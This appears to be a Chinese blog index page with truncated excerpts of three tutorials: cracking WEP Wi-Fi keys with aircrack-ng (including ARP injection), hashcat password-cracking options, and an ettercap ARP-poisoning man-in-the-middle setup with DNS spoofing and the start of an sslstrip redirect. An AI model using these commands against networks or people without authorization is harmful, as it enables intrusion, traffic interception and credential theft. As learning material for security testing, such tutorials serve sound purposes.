aircrack-ng破解wifi密码

破解WEP加密无线网络

1、激活无线网卡至monitor即监听模式
   airmon-ng start wlan0

2、探测无线网络,抓取无线数据包
   airodump-ng mon0 
   airodump-ng --ivs(默认为cap) –w 保存的文件名 -c 6(信道) wlan0mon

3、对目标AP使用ArpRequest注入攻击
   aireplay-ng -3 -b AP的mac -h 客户端的mac wlan0mon

4、打开aircrack-ng,开始破解WEP
   aircrack-ng 捕获的ivs文件

破解WPA-PSK加[……]

继续阅读

hashcat密码破解工具

官方网站:https://hashcat.net/hashcat/

这里以windows为利使用hashcat4.1.0

https://hashcat.net/wiki/doku.php?id=example_hashes   //hashcat 示例hash

比较重要的参数:

hashcat64.exe --help      //查看帮助文档
-m  (--hash-type=NUM)    //要破解hash的种类,用--help找到对应的数字。
-a  (--attack-mode=NUM)  //破解的模式
-o  //保存破解后密码的位置
-D  1/[......]

继续阅读

nethunter ettercap安装及使用

1、ettercap -G

apt-get install ettercap-graphical
开启图形化界面
Mitm-> ARP poisoning -> sniff remote connection 中间人欺骗

/etc/ettercap/etter.dns
* A 138.128.222.137
* PTR 138.128.222.137
Plugins -> dns_spoof DNS欺骗

2、证书:

sslstrip
端口转发,把80端口的数据库都抓发到10000
iptables -t nat -A PREROUTING -p tc[......]

继续阅读